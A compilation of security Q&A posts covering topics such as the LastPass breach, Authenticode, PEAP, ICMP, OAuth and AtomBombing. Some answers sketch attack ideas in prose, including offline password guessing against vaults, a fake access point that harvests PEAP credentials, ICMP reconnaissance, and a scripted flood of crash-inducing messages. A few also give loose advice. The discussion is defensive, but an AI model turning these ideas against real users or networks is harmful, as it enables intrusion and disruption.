Cryptography key gathering tool I am wondering if there exist a tools which can return the value of the one of the private key if the following are known:
1) Encryption Algorithm
2) Public key
3) Plain text
4) Cipher text

Or may be there a special methodology how to obtain that.

I am not sure how complicated and time consuming is to do that programatically so any help will be usefull.

Thank you

If: you know the public key, algorithm, plain text and cipher text;

And: you can recompute the private key by using just the aggregate power of all computers on Earth;

Then: the algorithm is pure junk or the key is awfully undersized; either way, stop using it and switch to proper cryptography.

Corollary: what you ask for does not exist for the cryptographic algorithms which are used in practice, e.g. RSA.


Lastpass hack - risks for abuse I use Lastpass. Today I got an email from them telling me that their servers were hacked, and a database with email addresses and recovery hints was probably copied.

Dear LastPass User,
We wanted to alert you that, recently, our team discovered and immediately blocked suspicious activity on our network. No encrypted user vault data was taken, however other data, including email addresses and password reminders, was compromised.
We are confident that the encryption algorithms we use will sufficiently protect our users. To further ensure your security, we are requiring verification by email when logging in from a new device or IP address, and will be prompting users to update their master passwords.
We apologize for the inconvenience, but ultimately we believe this will better protect LastPass users. Thank you for your understanding, and for using LastPass.

How safe is the recovery method?
Just now I logged out of my Lastpass account, and did a recovery. It turns out that Lastpass stores a one time password on my machine (and on each machine that I used to login to Lastpass), activated by a recovery link sent to the mail address used for the Lastpass account. Just clicking the link is enough to unlock the local database. The link has a long identifier. I guess this id is required to unlock the local one time password - if not the password could simply be copied and abused.

Question: How safe is this method, with those one time passwords on all machines where I logged in?

Abuse of stolen email addresses
The stolen email addresses - what risk do they pose?
Of course it's not good that yet another time thousands or millions of valid mail addresses are stolen and can be abused for spam. Furthermore, as these are all Lastpass users, they can be mailed about Lastpass, and tricked into entering their master password.
When I login to lastpass, it downloads the user database, and unlocks it. If this happens in that order, I can download all databases for all users without having their passwords. I could then try to unlock the databases using a list of standard passwords like "password" and "1234567890", the usual bad passwords. That will open quite a lot, and it won't notify Lastpass as they don't see the many tries.
If the database is not downloaded before the password is validated, that means that the database is unlocked remotely, which is not what they tell us. Right?

Question: Is this a possible scenario or is this method protected in some way?

The connection between the browser addon and Lastpass is of course encrypted, and I don't know if they somehow protect a newly downloaded database to prevent something like this, but won't some really smart people be able to get around that encryption?
Advice to update master password
As they write in the mail, Lastpass monitors whenever someone logs in from an unknown location, and sends a mail to verify that this is legit. This is of course good practise. Then they write that they will prompt users to update their master password. Why? I don't understand. How will this prevent the criminals from unlocking accounts more than currently is the case? Lastpass says no passwords are downloaded, which should be impossible anyways because they don't store them.

Question: So why do we need to change the master password and how is that going to make it more difficult for the criminals?

Hack impact
This "hack" can be done without having all those addresses. Just login using a random email address and follow the same scenario. The difference is efficiency.

Question: If Lastpass is sure they properly protect my data, and I use a strong password, then nothing has changed except that some criminal organisation got my email address, if they didn't already?

Other risks?
Do I miss something? What other risks are there?

Ars has a decent article on the problem:
http://arstechnica.com/security/2015/06/hack-of-cloud-based-lastpass-exposes-encrypted-master-passwords/

One particular Ars user also posted an enlightening breakdown:

  epixoip wrote:

    vcsjones wrote:
    I feel like LastPass needs to really lay out their security. They tout PBKDF2-SHA256
    with 100k rounds. Sure, that is pretty good. But they also mention doing 5k rounds on
    the client side. What is the relationship between the client side PBKDF2 and server
    side? What about the salt that goes in there?

  rounds = user_rounds || 5000 // the iteration count is user-defined. default is 5k

  encryption_key = PBKDF2(HMAC-SHA256, password, salt, rounds) // this is what unlocks your vault

  auth_key = sha256(encryption_key) // this is what is sent to the server for authentication

  server_hash = PBKDF2(HMAC-SHA256, auth_key, salt, 100000) // this is what is stored in the auth db

  So the full algorithm for the password stored in the database, which is what the attackers obtained, is:

  PBKDF2(HMAC-SHA256, sha256(PBKDF2(HMAC-SHA256, password, salt, rounds)), salt, 100000)

  Ain't nobody got time for that.

In short, you need not bother changing your master password.


Is there a difference between "Maximum Tolerable Downtime" and "Maximum Allowed Downtime"? I'm studying for the CCSP exam and one of the BC/DR terms that is referenced in my study material is "Maximum Allowable Downtime".  The definition for it is:

  MAD (Maxium Allowable Downtime) How long it would take for an interruption in service to kill an organization, measured in time.
  For instance, if a company would fail because it had to halt
  operations for a week, then its MAD is one week.

The study material book I'm reviewing actually didn't mentioned MTD anywhere but my understanding from other resources is that Maximum Tolerable Downtime refers to the amount of time that can pass before an "event" can reasonably be considered an impactful "disaster" (of course with the understanding that exceptions occur)

The definition of MAD above though, sounds way more... permanent/absolute and far worse than a disaster.

So, is MTD and MAD the same thing? Is this just the author writing it in a creative way? Or are there distinct/notable differences between Maximum Tolerable Downtime and Maximum Allowed Downtime?

They are not the same thing. MTD is the time allowed before the entire business becomes at risk (e.g. the company may go out of business), whereas MAD is the time at which an actual business impact occurs (which may or may not be crippling - it could just be painful). MTD is "how long before it puts us of business," MAD is "this did hurt us directly or indirectly an undetermined amount."


Does Authenticode still work offline and with a "fake" certificate Here's our story: We're developing some software (written in C#/.NET) and we're already signing the assemblies with strong names, I do this in Visual Studio with a pfx file that is protected by a password.

As an added security step I would like to sign the assemblies or at least the executable with Authenticode.

The problem is: The targets for our deployment will not have internet access nor are we able to get our own CA verified certificate at the moment. We have complete control over the target of deployment during the deployment phase, we choose the hardware, install the OS etc., but once our product (which is thus a combination of hard- and software) is "out there" we would like to provide as much security as we can.

Of course we understand that we can't control what happens to it in the wild, but we have also taken measures to be able to see if the hardware has been tampered with. If it has, we know we can't trust the software and we won't look it.

To get back around to our main issue: Does it make sense to create our own "fake" (non-verifiable) certificate to sign the assemblies? Do we need to put these certificates into the Windows store? I'm trying to protect our executables from being replaced by other executables, say through a USB-flash drive or something similar.

What's the best way to deal with this problem?
Thanks in advance.

When code is signed with Authenticode, Windows checks the signature with regards to the public key contained in the embedded certificate, and that certificate is validated with regards to the "trusted CA" that the OS maintains in the "Root" store. Adding a custom CA to that store is highly feasible for anybody with Administrator rights on the machine (and this more or less includes anybody who has physical access to the machine). Signing your code protects against anything only if we assume that the attacker will not be able to recompute a fake signature relative to a fake certificate that would link to one of the trusted CA.

Ergo, signing the code will not prevent alterations from people who have access to the machine. This is a very generic situation, by the way: preventing alteration of software by the people who physically own the hardware has been the Holy Grail for game vendors and media content publishers. Somewhat limited success has been achieved with closed hardware (e.g. game consoles) but on a PC, this is doomed. (Some people are working on a way to do it but that turns out to be hard, both technically and politically.)

At best, your code signing may prevent silent alteration from attackers who do not bother producing fake certificates (i.e. some low-grade malware), but determined attackers will not be deterred.

Note: code signing might have legal benefits, though: if code signing is enforced, this might help in proving, during a trial, that whoever modified the code was fully aware that it was forbidden by the license. Don't take my word for it, though, because I am not a lawyer and any law-related answer is unlikely to be valid for all the legal systems which exist worldwide (there are about 200 sovereign states, after all, hence at least that many legal systems which are nominally independent from each other).


Microsoft Outlook Vulnerability CVE-2018-8587 - How likely is exploitation? I found an interesting blog post A Deep Analysis of the Microsoft Outlook Vulnerability CVE-2018-8587 about Microsoft Outlook heap buffer overflow vulnerability where is described how Microsoft Outlook can be exploited by using specially crafted mail classification rules file (RWZ).

  To reproduce this vulnerability, we need to run Microsoft Outlook, then click "Rules => Manage Rules&Alerts => Options => Import Rules" and select the PoC file which causes Outlook to crash.

In the end they are writing:

  Applying this patch is critical since an attacker who successfully exploits this vulnerability could use a specially crafted file to perform actions in the security context of the current user.

But how likely is that someone could exploit this vulnerability? I mean an attacker needs to send this malicious file to a user who needs to actively import this file which exploits this heap buffer overflow bug. It seems to me completely different from such attacks where an attacker sends a malicious PDF document which exploits some vulnerability in Adobe Reader. Here you need to actively hack yourself (similar to self-XSS in web security).

Even Microsoft states:

  To exploit the vulnerability, a user must open a specially crafted file with an affected version of Microsoft Outlook software. In an email attack scenario, an attacker could exploit the vulnerability by sending the specially crafted file to the user and convincing the user to open the file. In a web-based attack scenario, an attacker could host a website (or leverage a compromised website that accepts or hosts user-provided content) that contains a specially crafted file that is designed to exploit the vulnerability. However, an attacker would have no way to force the user to visit the website. Instead, an attacker would have to convince the user to click a link, typically by way of an enticement in an email or Instant Messenger message, and then convince the user to open the specially crafted file.

So this bug seems to be somewhat useless and very unlikely to exploit?

Getting a victim to open a file is a proven effective way to attack an organisation - phishing and social engineering work, very well. So assume that part of the attack is low effort if you or your organisation is a target.

As regards anything that sounds like complex crafting of a payload, if it can be created it will. The market in attacks flows down from the very high end (nation state, organised crime etc) to lower level attackers. It's a commodity.

So don't think of the difficulty of the attack mechanism as important when assessing likelihood. Instead start with possible attacks that will take your organisation down, look at who might want to commit those attacks, and think about what you would need to mitigate them.


What is the effect if a Cisco router is transmitting PDUs to an ISP? I was recently tipped off by our ISP that our router is transmitting PDUs to their switch, and told that if we don't turn it off they might be able to penetrate our LAN. What do they mean that we are transmitting PDUs? If we do turn off the PDUs transmission, won't it affect any services that the router transmits?

I think what they mean is BPDUs, or Bridge Protocol Data Units, not PDUs. PDUs are just Protocol Data Units, ie layer 2 frames or layer 3 packets. The ISP seeing BPDUs means that the interface that connects to your ISP is likely set as a trunk port, and it is transmitting more than one VLAN's frames to it. If this is an actual router it won't do this unless you've configured more than one subinterface and you are tagging the packets with those vlans, but I think it is more likely you are using a switch not a router. If that's the case you need to ensure that the interface is not set as a trunk, or dynamic (the default). Do a "show run int " to see. If you see no switchport mode statement then it is set to dynamic, if it says switchport trunk then it's a trunk. I think it's probably set to dynamic in which case you need to change it to mode access:

Arrange for an outage, and get your ISP involved in case you need some help from them. Make sure you have a console connection to the device available in case you lose connectivity. Don't do this without having a console connection! During the outage:
do a "copy run start" and then copy the running config to a notepad
Set the port to switchport mode access
conf t
interface
shut
switchport mode access
no shut
ping across the connection, and ensure you have internet access. If not check the config to make sure the change took
Have the ISP confirm that they no longer see BPDUs
If there are no more BPDUs and internet access works then "copy run start" and monitor for awhile. Then go home.


Are long connections a security vulnerability In a brief, can be long connections threated as security vulnerability? By long connections i mean connections where for long period of time data is not being sent at all. For example client-server connection when client or server has to retrive recived data and it take long period of time? Right now i'm working with system where devices are connecting to the system via gprs/3g/lte connections, sometimes it happens that system has to retrive data and it takes time. It looks like network or network device(Router, i dont have acces to the router configuration) timeout connection if no data has been sent in last 5 minutes, for me it looks like too short period of time. We can bypass 5 minutes limit by setting tcp_keepalive_time to lower value but maybe there are some security reasons for closing connection after 5 minutes?

From an infosec standpoint, expiring TCP sessions are needed to reduce the possibility of exhausting resources on firewalls, routers and other equipment.

Keepalives help when higher level protocols take a long time between transmissions, e.g., when processing information client side.

The downside to keepalives, especially for wireless customers, is that a perfectly valid connection may be terminated if a keepalive packet is dropped.  I.e., while TCP is a stateful protocol which normally retransmits in the event of packet loss and ACK's segment receipt, the absence of a reply to a keepalive could mean that the other end is down, or that a single packet was lost.

Depending on keepalives can create situations where users over unreliable connections have problems with the application which aren't reproducible.

These long TCP session timeouts might help a handful of customers, but, only if the customer gateway devices also have long session timeouts... then the home users, coffee shops etc.

The better solution for this an application layer keepalive or a URL callback.


Test Hosts Available for NMAP Scanning? Are there any known hosts online that make themselves available for port scanning in order to learn tools like NMAP?  Thanks!

http://scanme.nmap.org/

This host exist solely for the purpose of testing nmap. Here is the wording from the page:

  We set up this machine to help folks learn about Nmap and also to
  test and make sure that their Nmap installation (or Internet
  connection) is working properly. You are authorized to scan this
  machine with Nmap or other port scanners. Try not to hammer on the
  server too hard. A few scans in a day is fine, but dont scan 100 times
  a day or use this site to test your ssh brute-force password cracking
  tool.


iOS Unicode Notification Bug Evidently, someone has discovered a Unicode bug in iOS, where if an app receives a specific Unicode sequence (infinitely-repeating Unicode code point), the OS will kill the Springboard as it allocates too much memory, restarting it immediately. I can't include the sequence here, because SE detects it and denies including it in the body.

Now, this doesn't seem like a serious issue; "Oh, my phone was reset randomly. Great.", but this is posing a great risk to the availability of iOS devices everywhere. For instance, if I know a person that has an iOS device, I could send this message anonymously through a fake Apple account via iMessage on a Mac OSX/iOS device to reset their phone (even in the middle of a call, as this is a notification bug).

If I were truly malicious, I could write a script on Mac OSX to generate a list of (semi)-random phone numbers to send this message to every X minutes, effectively permanently putting their device in a resetting state (preventing them from patching, doing anything important, etc).

Apple is aware of the issue and their devs are fixing it, but a huge amount of users delay updates as long as possible, or simply don't bother to update; this means that the issue could be a permanent threat to them.

Methods I've thought of to fix the issue that seem impossible:

1.) Push a hot-fix to iOS devices (is this even implemented?)

2.) Force an update to the latest version of the OS (seems to breach privacy/ToS agreement)

Since this poses a threat to the availability of Apple devices, I figured I would ask the security experts: how can Apple ensure that this issue does not plague (software-outdated) iOS devices in the coming years?

Edit: The problem is two-fold:

1.) Pre-send validation in iOS requires an update, as the code to whitelist Unicode characters obviously doesn't exist yet, otherwise this wouldn't be an issue; this is why I asked the question.

2.) This problem can't realistically be fixed server-side as Apple is relaying the message, because Apple encrypts the messages before they are sent, and if they decrypted the messages to strip out bad Unicode, it would be a breach of users' privacy.

Generally speaking, if I have an application that I know doesn't need the entire UTF8, UTF16 or UTF32 character set, I'll limit it to just what is needed.

That being said, I'd whitelist certain character sets within an encoding.  Special control characters would be either ignored or replaced using a regex or similar.

This concept is portable to other platforms and technologies.


How many iterations of fuzzing is enough? Fuzzing is a convenient, relatively low-cost way to detect some kinds of vulnerabilities, particularly in C/C++ code.

My question: How much fuzzing is enough?  Are there are any standards or best practices?

Example: Microsoft's SDL requires that applying fuzzing to security-sensitive code that parses file-based input.  The SDL requires a minimum of 500,000 iterations of fuzz testing, and at least 250,000 "clean" iterations.  (Here's a citation.  Any fuzz iteration that finds a security bug resets the count of "clean" iterations back to zero.)  The SDL also requires that all network data be fuzzed for at least 100,000 iterations.  (Here's a citation.)

Does anyone know of other guidelines, or the criteria that other organizations use?

I don't have numbers for you, or specific guidelines, but I think an important issue to point out, but was not sufficiently emphasized in those links, is Code Coverage.

It makes little sense to run a huge number of fuzz iterations, if they are all similar - from a code path point of view.
That is, "dumb fuzzing" may generate many different inputs (file/network/RPC/whatever), that look sufficiently different, but all have the same effect on the code, causing the program to take the same code paths. Obviously, this is not very effective.

Microsoft has also developed internal tools (I know of FuzzGuru) that implement "smart fuzzing". (See this talk from a few years ago discussing it). This enables MS to run much more efficient fuzzing, with much lower numbers of iterations (unofficially, of course) - simply because they can ensure much higher percentage of code coverage at each iteration.

In any event, it is important to do your fuzzing - whether "smart" or "dumb" - in combination with code coverage tools, to ensure you're getting appropriate value out of your fuzzing efforts.


Protection against DDoS when using proxies We're trying to protect some sites that are primarily located in Asia using distributed caching. These sites commonly come under DDOS attacks. We are using fail2ban, but still have two problems:

Many users are coming from behind common firewall/NAT configurations so they appear to have the same address. Many legitimate requests might be blocked based on request per second rules.
We see moderate DDOS attacks from many different addresses, for example, 6000 addresess make a few requests over a day, all on the same page. It's not clear how to block these, since there are so many making few requests. Right now they aren't really a problem, but if the number of clients were increased, or aggressive cache busting applied we'd be in trouble. How do we detect and protect against this kind of attack?

I would suggest that the simplest defense is probably to buy access to a CDN that provides protection against DoS.  Take a look at Cloudflare and Cloudfront.  You could also look at MaxCDN, Akamai, EdgeCast, level3, Rackspace, VPS, Cotendo, Limelight, Cachefly, Highwinds, and many others.

Why use a CDN?  Three reasons.

First, it will benefit both performance and security.  It will make your site faster.  And, if you get a flash cloud or an unexpected spike of visitors, it'll help keep your site fast, responsible, and available.  And, of course, if you come under DOS attack, the CDN has the capacity to absorb the traffic and ensure your site stays available.  So, this is a win-win for both security and site performance.  (How often do you see that?)

Second, it is affordable.  A CDN is relatively inexpensive, and is almost certainly cheaper than the staff time it would take for you to futz around with defending yourself against DOS attacks and to keep up with the latest DOS techniques.

Third, the CDN can probably do a better job than you can.  Because of its scale, the CDN probably sees thousands of DOS attacks a year (on hundreds or thousands of web sites), so it has a chance to accumulate statistics on the common patterns, learn how to detect DOS attacks, and work out what defenses work best.  Also, because of its scale, the CDN may be able to afford for its employees to stay up-to-date on the latest attack techniques being used in the wild.  And, the CDN may be able to afford to develop custom automated defenses, since they'll be applicable to all its customers.

So, take a look at CDNs as a possible defense.  That may be simpler to deploy and more effective than the approach you are taking.


iOS Encryption Details Following on from this question, what resources are available relating to the technical specifics of how apple implement encryption on their iOS 4.x series devices?

The Apple marketing material here, states that "iPad offers 256-bit AES encoding hardware-based encryption to protect all data on the device. Encryption is always enabled and cannot be disabled by users."

Using a custom RAMDisk to boot up an old iOS device it was possible to see the contents of user files in the clear which means in some way if they are encrypted the process of booting the custom OS is allowing for decryption of the data to happen.

All shipping iOS devices (with the possible exception of the AppleTV, which doesn't have third party apps) have two filesystems, implemented as two partitions on the flash storage. The first is mounted read-only and just contains the OS. The second contains user data: the installed apps, and their supporting data including documents and caches. This second partition, on the iPhone 3GS, iPhone 4, 3rd and 4th generation iPod Touch and the iPad only is encrypted with a key that is managed by a hardware encryption chip on the device's PCB. This key cannot be leaked out of the chip directly; though I don't know if there are any side-channel attacks.

When the device is turned on, the encryption chip unlocks the second partition. That means that this encryption only protects the data at rest. In fact, it's designed to support quick remote wiping: when the device receives the remote wipe signal it just resets the key.

iOS 4 separately uses the same encryption facility to support its file protection API. Files store with the NSFileProtectionComplete option are encrypted on the filesystem, and the decryption key is only available while the device is unlocked. That means that when you lock the screen, even if an app has a background component that is still running, the protected files cannot be accessed.

In the case of protected files, if the user has a passcode configured then the passcode and the device key are combined to derive the protection key. Actually, it's a little more complex: each file is protected by a separate key. These keys are protected by a class key. The class key is protected by a key derived from the hardware key and the passcode. This gives you the following properties:

when the device is locked, the files are completely unavailable because the kernel doesn't have the passcode with which to generate the unlock key.
brute force discovery of the user's passcode must be done on the device, which slows down attempts.
remote wiping still involves just resetting the device key.


what does `client_id` mean in password credentials grant of OAuth 2.0? Public clients can't hide their requests. So password credentials grant doesn't need clientSecret. What I'm curious is, is there need client_id? because hacker or client user can know or trace the client_id and make same request easily. Public clients like mobile app or web app can't guarantee of that is confidential client.

I really want to know how public clients solve this. Such as Facebook mobile app and Google Inbox. They implemented authentication way for themsevles? Drop out OAuth 2.0?

In short:
client_id and client_secret are used for to authenticate the APP.
username and password are used for to authenticate the user.

It also means double layer protection.

The specification  says:

  the client MUST authenticate with the authorization server as described in Section 3.2.1.

A client authentication is done by using a client_id and a client_secret value.

Actually the latest paragraph of the section 3.2.1 says

  A public client that was not issued a client password MAY use the client_id request parameter to identify itself when sending requests to the token endpoint (e.g. for the purpose of providing end-user context, client usage statistics).

However, it just may.
But Google gives a client_id and a client_secret on the developer console when trying to use an API.

If you want to use Resource Owner Password Credentials for an API or a Web authorization you might provide a register page to your clients to register themselves. (I recommend using of Client Credentials flow for API)

If you want to use Resource Owner Password Credentials for a mobile app you might give a standart client_id like AwesomeAPP and a client_secret like Bl**123_Blabla.

Or you may use  AwesomeAPP_v1.0  as client_id to track that how many people use which version of the App although it's not the best way. But you may.

Hope this helps...


Is encrypted email doctor/patient communication required by HIPAA, HITECH or Meaningful Use I want to point out, from the start, that I know all about the Direct Project and I am huge fan of work to provide easy-to-use standards based secure email for doctor-patient communication. I am not asking a "should" question here. I know patient-doctor communications should be encrypted. I know that the meaningful use requirements now in draft reward for Direct Project based communications.

What want to know is, definitively, can healthcare providers have patients sign waivers that allow the doctors to legally email in plain text with them? People seem to read the different HIPAA-HITECH act regulations very differently. Vendors of secure products always say that secure email is legally required. Yet I know several healthcare providers who communicate PHI using plain-text email with their patients, by having their patients sign something that says that the patient understands the issues with plain text email and still considers it "protected" under HIPAA.

So there at least some people who argue that it is illegal (vendors) and some who argue that it is legal and actively send plain text emails.

I am not asking this because I do not have an opinion on this myself. I am asking for someone to make an assertion regarding this issue, and back it up with quotes and corresponding links to the various sections of the laws and federal rules in question. Obviously all of the relevant national level rules and laws should be referenced in an accepted answer.

Because this can be a bit of work, I am putting a bounty on this one.

The Office of Civil Rights is responsible for enforcing HIPAA regulations.

They released a document that addresses your question directly.   Here is the link to that document - Safeguards.pdf.   Read the answer to Question 3.

Note, in particular,  this paragraph:

  Patients may initiate communications with a provider using e-mail. If
  this situation occurs, the health care provider can assume (unless the
  patient has explicitly stated otherwise) that e-mail communications
  are acceptable to the individual. If the provider feels the patient
  may not be aware of the possible risks of using unencrypted e-mail, or
  has concerns about potential liability, the provider can alert the
  patient of those risks, and let the patient decide whether to continue
  e-mail communications.

Additional HIPAA information is available at: http://www.hhs.gov/ocr/privacy/hipaa/understanding/special/healthit/.

Hope this helps.


How can I find out who owns a block of IPs? I'm currently going through the logs on my apache install for potential intrustions, and I'm finding a lot of hits for SQL injections and exploit testing, from 173.212.195.* . I'm now trying to find out how I could find who owns the block of IPs which these IPs sit in?

I've looked at Wikipedia's list of assigned Class A netblocks, but I can only seem to find lists for non-regional and non-country lists. Can anyone tell me where I could find these lists?


BitLocker Recovery Key and Microsoft Account Password I have a Windows 10 Pro machine; the administrator (and only) account is a Microsoft account. I am trying to set up BitLocker to ensure maximum security and safety, even from Microsoft.

I understand that I can choose to disallow BitLocker from saving the recovery key to my Microsoft account.

However, does this option matter at all if my user account is a connected Microsoft account anyway? Microsoft already has my user account password. Couldn't Microsoft just use the actual password (which it has) to decrypt the data (given access to the physical drive) instead of the recovery key?

BitLocker is technology to encrypt the disk drive pror ANY software, including OS, try to access it. Your Microsoft account acts on OS level as user credentials and in practice there could be more than one registered user account on one PC. Which automatically make nonsense to mix the encryption key with the user accout.
Moreover, normal account password length is between 8 and 12 characters, when BitLocker key is much longer and complex.
Finally, but not last, Microsoft provide additional methods of managing BitLocker key in corporate environment through ActiveDirectory, which is a level above your private home usage.


Wireless Security: PEAP I was wondering if there are any known attacks against PEAP  used in wireless authentication/authorization?

I'm specifically looking for attacks that would allow:

bypassing the authentication
session hijacking

From what I've seen of PEAP setups, attacks usually revolve around MITM attacks.  If the client isn't set to validate the server certificates used, it may be possible to setup a fake AP and RADIUS server and persuade client to connect and authenticate to that.

From there once you've got the users creds you may be able to replay them to the valid server to get access (Depending on how authentication is done).


X.509 Certificate Signature Collision Vulnerability Customer complained that during security scan performed on our application the following was raised:

172.22.0.19 - xxxxx - IETF X.509 Certificate Signature Collision Vulnerability - https/tcp/172.22.0.19/50000

The keystore (JKS format) has only one self signed certificate.

When I look at the keystore and certificate information I see the following:

The signature algorithm is SHA1withRSA (not MD5), so why does the scan raised this problem? Is it related to the certificate fingerprints?

Thanks

That really depends one what rules where used to trigger the warning and you gave us no information on that.

However, it is possible that your issue is that you have a certificate signed with SHA-1 which is being phased out. That being said, it doesn't make much sense: when using self-signed certificate (or root certificates), the hash is not actually ever used for validating anything.

So, you should go back to the folks who sent your that notification and ask them what they mean: if they start talking about the "certificate signature hash algorythm", you can tell them that it doesn't apply in your case since this is a self-signed cert.

Edit: As requested, here is a reference:

RFC 5280, section 4.1.1.2 (the one defining the X.509v3 standard) defines the "signatureAlgorithm" field like this:

  The signatureAlgorithm field contains the identifier for the
     cryptographic algorithm used by the CA to sign this certificate.

This means that certificates that, in the case of certificates that are NOT signed by a CA (because they are CA certs or simply self-signed), this field has no meaning.


how to handle error reply messages? For security reasons, many organizations do not allow error reply messages to leave their internal Internets. How, specifically, could hackers use information in echo reply messages to learn about the firm's internal hosts? Does the same thing apply to ping requests?

ICMP was designed to help determine characteristics of the network. PING is an application of ICMP.

ICMP has two modes of operation:

Query the network by requesting packets and interpreting the answer
Report non-transient error conditions through error messages

The errors are produced in special conditions such as:

Network is unreachable: this would help map the network.
Host is unreachable: would show what hosts are online
Protocol unreachable: shows what protocols are supported
Port unreachable: some servers would indicate through this error message that no process is listening on that port
The datagram is too big: would show what technology is used in the network.
And many others, for example to differentiate between the Linux kernel and that of the networking device, ICMP Error Quoting size fingerprinting method can be used.

By using ICMP messages and errors it is possible to gather substantial information about the network:

Host Detection
Network Topology
ACL Detection
Packet Filter Detection
OS Fingerprinting

ICMP error messages are not typically involved in directly attacking the network but would greatly help an attacker understand more about the network and know how and where to attack. Therefore this information should not leave the network because it should not be available to people outside the network.


Supernoob trying to learn I'm very new to this. I have recently been using kali linux via rasberry pi and virtualbox. But I do not know what I'm doing. I have searched the web for good tutorials and have even paid for some via Udemy, but I have not learned anything. Is there anyone out there that might be able to help me from scratch to learn? I'm very eager to learn pentesting and pursuing it as a career. I've read that Kali Linux is a start but I have no clue what I am doing here. Any help would be great! thanks

I strongly suggest by starting in the right place, this is a Q&A site for Information Security, not a forum so I'm pretty sure this question will be closed soon. Answers cannot be opinion based, but I suggest you Hak5 on Youtube, SecurityTube, Pluralsight.com have the CompTIA Security+ and CEH path here and here, and get a bachelor on any computer science area to begin with.

And about the forum and Q&A site, if you want to have a discussion about what's better and what's not, and opinions try the Kali Linux Forums.


Annual Rate of Occurrence (ARO) and Exposure Factor (EF) Data I'm calculating loss expectancy (SLE/ALE) but where or how does one get data on annual rates of occurrences for various things? From simple hard-drive failure rates to something complex like the exploitation of client browsers? Or how about the effectiveness of controls and how much they can reduce the exposure factor? An example being using Snort Sourcefire VRT Certified Rules over default/non-subscription ones.

I think you may find that this question is so huge in function and scope that you won't find such definitive lists (though I'd also love to see one.)

Publicly, you are more likely to find mean-(time-to or between)-failure of hardware than for software simply because physical engineering will be concerned with those figures during the life-cycle.  Of course, Google's study on their consumer-grade disk drives was interesting, but again, very focused and clearly shows that even if you know the stats for physical hardware, sometimes reality paints a different (or at least "more complete") picture.

With all of this said, I can think of two organizations that love to deal with probabilities of failures: the government/military and insurance companies.  Maybe this can help in the search process?


Windows Certificate Services: Is it possible to enroll a SmartCard certificate AND have key archival? I'm using ACOS5-64 Client Kit, I want to enroll for a certificate with key archival. I tried to do so by duplicating the SmartCard template and checked Archive subject's encryption private key option as shown in the picture below, but when I request for a certificate under this template the mmc crashes.

So this is what I'm wondering about:

Is this happening because key archival is not allowed in the smart card and CSP I'm using?
Are there any smart cards and CSPs that allow key archival?

Screenshot: Creating a SmartCard template with key archival:

Screenshot: Here is the error in the event viewer when the MMC crashes:

Update: Sometimes the mmc did not crash and certificate request failed due to this issue: "Invalid type specified"

Screenshot: Error in the certificate request

The client-side CSP (the Smart Card CSP in this case) must support key archival for key archival to function:

  CSP support for key archival operations
  In order to securely transmit and archive private keys, CSPs on CAs and domain member computers must support symmetric and asymmetric encryption. Additionally, support is required for generating exportable keys, either by manually submitting a certificate request and selecting the option to allow the key to be exported or by using the CRYPT_ARCHIVABLE flag with the CryptGenKey function during programmatic key generation.

Source: Troubleshooting Key Archival and Recovery

The idea of smart cards (vs software private key storage) is that the private key never leaves the card. However, according to the authoritative Brian Komar, Smart Card CSPs can support the CRYPT_ARCHIVABLE flag:

  If a smart card fails, the encryption private keys stored on the smart card are lost. If the smart card cryptographic service provider (CSP) supports key archival (through the enabling of the CRYPT_ARCHIVABLE flag), the private key is archived at the issuing CA.

Source: Windows Server 2008 PKI and Certificate Security book

That said, I would strongly recommend not exporting the smart card private key in the first place as this undermines the security provided by a solution that uses smart cards.

I don't know what your requirements are, but there are broadly speaking two functions for certificates: signature and encryption.

If you are using your smart card certificate for the encryption of data, you might be better off archiving or backing up the symmetric encryption key used to encrypt the data instead. This could be achieved through the use of a 'Data Recovery' certificate also stored on a smart card, which is used to encrypt backup copies of the symmetric encryption key. The legacy Microsoft Encrypting File System is a well-documented example of a system that operates in this way.

If you are using your smart card certificate for the signature (client authentication, digital signatures etc), I would again recommend avoiding key archival completely:

  Private keys that are used for signing should never be archived or recovered because the potential for more than one person to possess and use a private key introduces non-repudiation issues.

Source: Active Directory Certificate Services PKI Key Archival and Management


Way to find security bugs in Scala source code open-source way? I looked on Web to find way for finding security bugs specially SQL Injection and XSS in Scala code with little success. Some posts recommended to write custom detectors for FindBugs plugin, others were more focused on code quality tools. Am I missing something here or there are no open-source initiatives/projects/tools available for this purpose?

Codacy (an automated code review platform) has been deploying Scala security patterns.

There's a blog post with the first 9 patterns and if you head to the patterns list in the documentation you can filter for security to check the other ones out (more will be coming out soon).

The way Codacy works is you log into the platform, point it to your git repository and it analyses each of your commits, letting you know whether you created/fixed any issues (be them coding style/performance/complexity/security/etc). There's also an on-premises version.

Codacy gives you the full flexibility to customize the rules you use and even create your own.

It's free for Open Source projects.


How serious is "AtomBombing", and could AV be made to detect it? From AtomBombing: A Code Injection that Bypasses Current Security Solutions:

  What we found is that a threat actor can write malicious code into an atom table and force a legitimate program to retrieve the malicious code from the table. We also found that the legitimate program, now containing the malicious code, can be manipulated to execute that code.

Related slides: http://mista.nu/research/smashing_the_atom.pdf

From AtomBombing: Brand New Code Injection for Windows:

  Here’s a new code injection technique, dubbed AtomBombing, which exploits Windows atom tables and Async Procedure Calls (APC). Currently, this technique goes undetected by common security solutions that focus on preventing infiltration

Since the issue cannot be fixed, there is no notion of a patch for this. Thus, the direct mitigation answer would be to tech-dive into the API calls and monitor those for malicious activity.

Q: Would it slow down the machine if the AV would monitor API calls? Is AtomBombing more serious than a DLL Injection? Is it true that it cannot be fixed? Is this something new or just an old thing written in a blog nowadays that was tested in win10 but previously known?

It is important to realize a couple things:

Anti-Virus systems are not designed to prevent attacks nearly as much as they are intended to clean up damage after it has been done. In essence they are removing malware that is publicly known.

It is quite reasonable to write an Anti-Virus system to remove known malware even if it uses the Code Injection technique described in the linked article.

Sometimes there is malware that has not yet been added to the Anti-Virus program and cannot be cleaned up automatically. So it is always best to Nuke From Oribit if your computer was compromised. (back up important files first)
The 'flaw that cannot be patched', if I'm reading right, is not really a flaw at all, because it is only a logistic issue on what malware can do once it runs.

By some standards, if malware has run then it's no longer your machine (until you nuke from orbit) because it can already do so much damage, regardless of this 'flaw' in the linked article.

Running on a non-admin account can be helpful to reduce your risk. Admin accounts have access to the whole computer, while Standard accounts can be easily wiped safely. So if only the Standard account is compromised it is much easier to nuke just that one account.
Because Windows is a classical operating system, access restrictions are user-specific. Any process-level restrictions are usually an afterthought anyway, are less-frequently used, and have limited effect.

More recent operating systems like Chrome OS, Android, iOS use sandbox techniques and have proper app-specific access control. This way if you run malware it only has the permissions you granted. (note: sometimes the permission is quite inclusive, so be careful what you approve.)

